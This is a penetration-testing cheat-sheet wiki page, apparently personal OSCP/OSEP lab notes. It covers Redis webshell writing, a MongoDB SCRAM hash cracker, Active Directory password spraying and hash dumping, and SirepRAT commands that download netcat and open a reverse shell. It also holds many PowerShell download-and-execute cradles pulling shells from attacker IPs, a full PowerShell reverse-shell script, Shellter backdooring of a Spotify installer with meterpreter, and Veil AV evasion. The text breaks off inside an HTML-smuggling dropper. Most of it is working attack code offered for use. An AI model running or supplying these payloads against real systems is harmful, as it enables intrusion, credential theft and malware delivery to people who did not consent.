&lt;br /&gt;
=== Webshell ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#webshell Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# You must know the path of the Web site folder.&lt;br /&gt;
# Try also /var/www/html&lt;br /&gt;
root@Urahara:~# redis-cli -h 10.85.0.52&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dir /usr/share/nginx/html&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; config set dbfilename redis.php&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; set test &amp;quot;&amp;quot;&lt;br /&gt;
OK&lt;br /&gt;
10.85.0.52:6379&amp;gt; save&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 27017 - MongoDB ==&lt;br /&gt;
&lt;br /&gt;
=== Crack hash ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# In order to get the password for MonogDB you need to have the SCRAM challanege, either from a pcap or else. You need the username, client nonce, server nonce, salt, and the target hash.&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
import hmac&lt;br /&gt;
import sys&lt;br /&gt;
USERNAME = &#039;admin&#039;&lt;br /&gt;
SALT = &#039;zOa0kWA/OTak0a0vNaN0Zh2drO1uekoDUh4sdg==&#039;&lt;br /&gt;
CLIENT_NONCE = &#039;+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeK&#039;&lt;br /&gt;
SERVER_NONCE = &#039;+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeKoGtDP4x0LH5WZgQ9xFMJEJknBHTp6N1D&#039;&lt;br /&gt;
ITERATIONS = 15000&lt;br /&gt;
TARGET = &#039;/nW1YVs0JcvxU48jLHanbkQbZ4GFJ8+Na8fj7xM1s98=&#039;&lt;br /&gt;
WORDLIST = &#039;/usr/share/wordlists/rockyou.txt&#039;&lt;br /&gt;
def byte_xor(ba1, ba2):&lt;br /&gt;
    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])&lt;br /&gt;
def proof(username, password, salt, client_nonce, server_nonce, iterations):&lt;br /&gt;
    raw_salt = base64.b64decode(salt)&lt;br /&gt;
    client_first_bare = &#039;n={},r={}&#039;.format(username, client_nonce)&lt;br /&gt;
    server_first = &#039;r={},s={},i={}&#039;.format(server_nonce, salt, iterations)&lt;br /&gt;
    client_final_without_proof = &#039;c=biws,r={}&#039;.format(server_nonce)&lt;br /&gt;
    auth_msg = &#039;{},{},{}&#039;.format(client_first_bare, server_first, client_final_without_proof)&lt;br /&gt;
    salted_password = hashlib.pbkdf2_hmac(&#039;sha256&#039;, password.encode(&#039;utf-8&#039;), raw_salt, iterations)&lt;br /&gt;
    client_key = hmac.digest(salted_password, b&#039;Client Key&#039;, &#039;sha256&#039;)&lt;br /&gt;
    stored_key = hashlib.sha256(client_key).digest()&lt;br /&gt;
    client_signature = hmac.new(stored_key, auth_msg.encode(&#039;utf-8&#039;), &#039;sha256&#039;).digest()&lt;br /&gt;
    client_proof = byte_xor(client_key, client_signature)&lt;br /&gt;
    return base64.b64encode(client_proof).decode(&#039;utf-8&#039;)&lt;br /&gt;
counter = 0&lt;br /&gt;
with open(WORDLIST) as f:&lt;br /&gt;
    for candidate in f:&lt;br /&gt;
        counter = counter + 1&lt;br /&gt;
        if counter % 1000 == 0:&lt;br /&gt;
            print(&#039;Tried {} passwords&#039;.format(counter))&lt;br /&gt;
        p = proof(USERNAME, candidate.rstrip(&#039;\n&#039;), SALT, CLIENT_NONCE, SERVER_NONCE, ITERATIONS)&lt;br /&gt;
        if p == TARGET:&lt;br /&gt;
            print(&#039;Password found: {}&#039;.format(candidate.rstrip(&#039;\n&#039;)))&lt;br /&gt;
            sys.exit(0)&lt;br /&gt;
print(&#039;Wordlist exhausted with no password found.&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 29819 - Windows IoT Core SirepServer ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/SafeBreach-Labs/SirepRAT SirepRAT]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Upload file - Example&lt;br /&gt;
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;quot;C:\Windows\System32\cmd.exe&amp;quot; --args &#039; /c powershell invoke-webrequest -o c:\windows\temp\nc.exe -uri http://10.10.14.12:9000/nc.exe&#039;&lt;br /&gt;
# Execute command - Example&lt;br /&gt;
 python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd &amp;quot;C:\Windows\System32\cmd.exe&amp;quot; --args &#039; /c c:\windows\temp\nc.exe -e cmd 10.10.14.12 4444&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Active Directory/Windows ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=2078&lt;br /&gt;
&lt;br /&gt;
=== ASREPRoast ===&lt;br /&gt;
&lt;br /&gt;
=== BloodHound ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using bloodhound.py. Source https://github.com/fox-it/BloodHound.py.&lt;br /&gt;
# Allows you to collect data for BloodHound from a Linux system, OSX system, or Windows system that has Python installed on it.&lt;br /&gt;
python3 bloodhound.py -c All -d  -u  -p &#039;&#039; -ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Start neo4j database&lt;br /&gt;
./neo4j console&lt;br /&gt;
# Start BloodHound&lt;br /&gt;
./BloodHound.bin --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Curated list of commands ===&lt;br /&gt;
&lt;br /&gt;
=== Dump hash ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you have copied over C:\Windows\System32\config\SAM and C:\Windows\System32\config\SYSTEM to attacker machine, use this command to dump the hash.&lt;br /&gt;
usr/bin/impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberoast ===&lt;br /&gt;
&lt;br /&gt;
=== Pass The Hash ===&lt;br /&gt;
&lt;br /&gt;
=== Password Spraying ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
crackmapexec smb  -u users.txt -p passwords.txt&lt;br /&gt;
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123&lt;br /&gt;
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PSEXEC.py, PSExec.exe, Evil-WinRM ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 psexec.py test.local/john:password123@10.10.10.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# evil-winrm -u svc-alfresco -p &#039;s3rvice&#039; -i 10.10.10.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From SysInternals&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell commands ===&lt;br /&gt;
&lt;br /&gt;
Running powershell x64, and running (IEX) the downloaded ps1 file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.17:9000/mini-reverse.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running Powershell on target with ExectionPolicy to bypass&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running PowerUp.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.17:9000/PowerUp.ps1&#039;);Invoke-AllChecks&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Downloading SharpHound.exe on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
(new-object System.Net.WebClient).DownloadFile(&#039;http://10.10.14.17:9000/SharpHound.exe&#039;, &#039;C:\Users\[...]\Desktop\SharpHound.exe&#039;)&lt;br /&gt;
# Execute SharpHound&lt;br /&gt;
./SharpHound.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running PowerView.ps1 on target machine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://10.10.14.45:5555/PowerView.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Running Nishangs Invoke-PowershellTCP&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c IEX(New-Object Net.WebClient).DownloadString(&#039;http://10.10.14.18:9000/shell.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Use invoke webrequest and download script. With -UseBasicParsing. &#039;&#039;-UseBasicParsing - Indicates that the cmdlet uses the response object for HTML content without Document Object Model (DOM) parsing. This parameter is required when Internet Explorer is not installed on the computers, such as on a Server Core installation of a Windows Server operating system.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
iex (iwr &#039;10.10.14.9:9000/ipw.ps1&#039;) -UseBasicParsing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Download a file and save it to location.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell Invoke-WebRequest -outfile c:\windows\system32\spool\drivers\color\nc.exe -uri http://10.10.14.24/nc64.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mini-reverseshell.ps1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;127.0.0.1&#039;, 413);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do&lt;br /&gt;
{&lt;br /&gt;
	$writer.Flush();&lt;br /&gt;
	$read = $null;&lt;br /&gt;
	$res = &amp;quot;&amp;quot;&lt;br /&gt;
	while($stream.DataAvailable -or $read -eq $null) {&lt;br /&gt;
		$read = $stream.Read($buffer, 0, 1024)&lt;br /&gt;
	}&lt;br /&gt;
	$out = $encoding.GetString($buffer, 0, $read).Replace(&amp;quot;`r`n&amp;quot;,&amp;quot;&amp;quot;).Replace(&amp;quot;`n&amp;quot;,&amp;quot;&amp;quot;);&lt;br /&gt;
	if(!$out.equals(&amp;quot;exit&amp;quot;)){&lt;br /&gt;
		$args = &amp;quot;&amp;quot;;&lt;br /&gt;
		if($out.IndexOf(&#039; &#039;) -gt -1){&lt;br /&gt;
			$args = $out.substring($out.IndexOf(&#039; &#039;)+1);&lt;br /&gt;
			$out = $out.substring(0,$out.IndexOf(&#039; &#039;));&lt;br /&gt;
			if($args.split(&#039; &#039;).length -gt 1){&lt;br /&gt;
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo&lt;br /&gt;
                $pinfo.FileName = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
                $pinfo.RedirectStandardError = $true&lt;br /&gt;
                $pinfo.RedirectStandardOutput = $true&lt;br /&gt;
                $pinfo.UseShellExecute = $false&lt;br /&gt;
                $pinfo.Arguments = &amp;quot;/c $out $args&amp;quot;&lt;br /&gt;
                $p = New-Object System.Diagnostics.Process&lt;br /&gt;
                $p.StartInfo = $pinfo&lt;br /&gt;
                $p.Start() | Out-Null&lt;br /&gt;
                $p.WaitForExit()&lt;br /&gt;
                $stdout = $p.StandardOutput.ReadToEnd()&lt;br /&gt;
                $stderr = $p.StandardError.ReadToEnd()&lt;br /&gt;
                if ($p.ExitCode -ne 0) {&lt;br /&gt;
                    $res = $stderr&lt;br /&gt;
                } else {&lt;br /&gt;
                    $res = $stdout&lt;br /&gt;
                }&lt;br /&gt;
			}&lt;br /&gt;
			else{&lt;br /&gt;
				$res = (&amp;amp;&amp;quot;$out&amp;quot; &amp;quot;$args&amp;quot;) | out-string;&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
		else{&lt;br /&gt;
			$res = (&amp;amp;&amp;quot;$out&amp;quot;) | out-string;&lt;br /&gt;
		}&lt;br /&gt;
		if($res -ne $null){&lt;br /&gt;
        $writer.WriteLine($res)&lt;br /&gt;
    }&lt;br /&gt;
	}&lt;br /&gt;
}While (!$out.equals(&amp;quot;exit&amp;quot;))&lt;br /&gt;
$writer.close();&lt;br /&gt;
$socket.close();&lt;br /&gt;
$stream.Dispose()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Powershell location&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 64-bit Windows&lt;br /&gt;
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe&lt;br /&gt;
# 32-bit (x86) Windows&lt;br /&gt;
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== User enumeration ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./kerbrute_linux_amd64 userenum -d  --dc  usernames.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Ansible ==&lt;br /&gt;
&lt;br /&gt;
[https://www.shellhacks.com/ansible-vault-encrypt-decrypt-string/ Ansible Vault: Encrypt | Decrypt a String - ShellHacks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Run Ad-hoc command&lt;br /&gt;
ansible victims -a &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Run ad-hoc command as root or other users&lt;br /&gt;
# If you don&#039;t specify user it will default to root.&lt;br /&gt;
ansible victims -a &amp;quot;whoami&amp;quot; --become&lt;br /&gt;
&lt;br /&gt;
##  Crack Ansible hash&lt;br /&gt;
# Notice the spaces between AES256 and 666...&lt;br /&gt;
cat test.yml &amp;gt;&lt;br /&gt;
$ANSIBLE_VAULT;1.1;AES256&lt;br /&gt;
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764&lt;br /&gt;
# Convert to readable hash&lt;br /&gt;
https://github.com/willstruggle/john/blob/master/ansible2john.py&lt;br /&gt;
python3 ansible2john.py test.yml &amp;gt; ansiblehash&lt;br /&gt;
cat ansiblehash &amp;gt;&lt;br /&gt;
$ansible$0*0*9661a952b5822af9a210...&lt;br /&gt;
# Crack the hash using john or hashcat&lt;br /&gt;
john ansiblehash&lt;br /&gt;
hashcat ansiblehash --force --hash-type=16900 /usr/share/wordlists/rockyou.txt&lt;br /&gt;
# Decrypt vault&lt;br /&gt;
cat pw.txt &amp;gt;&lt;br /&gt;
$ANSIBLE_VAULT;1.1;AES256&lt;br /&gt;
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764&lt;br /&gt;
cat pw.txt | ansible-vault decrypt&lt;br /&gt;
# Use the pass cracked from john or hashcat&lt;br /&gt;
Vault password:&lt;br /&gt;
lab&lt;br /&gt;
# Run the playbook&lt;br /&gt;
ansible-playbook playbook.yml --vault-password-file=vault.txt&lt;br /&gt;
# OR&lt;br /&gt;
ansible-playbook playbook.yml --ask-vault-pass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Artifactory Jfrog ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/artifactory-hacking-guide&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Anti-Virus Evasion (Bypass) ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/av-bypass https://book.hacktricks.xyz/windows-hardening/av-bypass]&lt;br /&gt;
&lt;br /&gt;
PWK chapter 17&lt;br /&gt;
&lt;br /&gt;
OSEP&lt;br /&gt;
&lt;br /&gt;
=== Test payload against AV ===&lt;br /&gt;
&lt;br /&gt;
https://virustotal.com (Don&#039;t use if you want you&#039;re payload to be detected. Virustotal sends a copy of payload to antiviurs vendors.&lt;br /&gt;
&lt;br /&gt;
https://antiscan.me&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== API ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/assetnote/kiterunner assetnote/kiterunner: Contextual Content Discovery Tool]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Need to have golang installed&lt;br /&gt;
apt-get install golang&lt;br /&gt;
# build the binary&lt;br /&gt;
make build&lt;br /&gt;
# symlink your binary&lt;br /&gt;
ln -s $(pwd)/dist/kr /usr/local/bin/kr&lt;br /&gt;
# compile the wordlist&lt;br /&gt;
# kr kb compile&lt;br /&gt;
kr kb compile routes.json routes.kite&lt;br /&gt;
# scan away&lt;br /&gt;
kr scan hosts.txt -w routes.kite -x 20 -j 100 --ignore-length=1053&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Buffer overflow ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1932&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Browser exploits ==&lt;br /&gt;
&lt;br /&gt;
=== Firefox ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract passwords from profile&lt;br /&gt;
https://github.com/unode/firefox_decrypt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Client-Side Code Execution ==&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
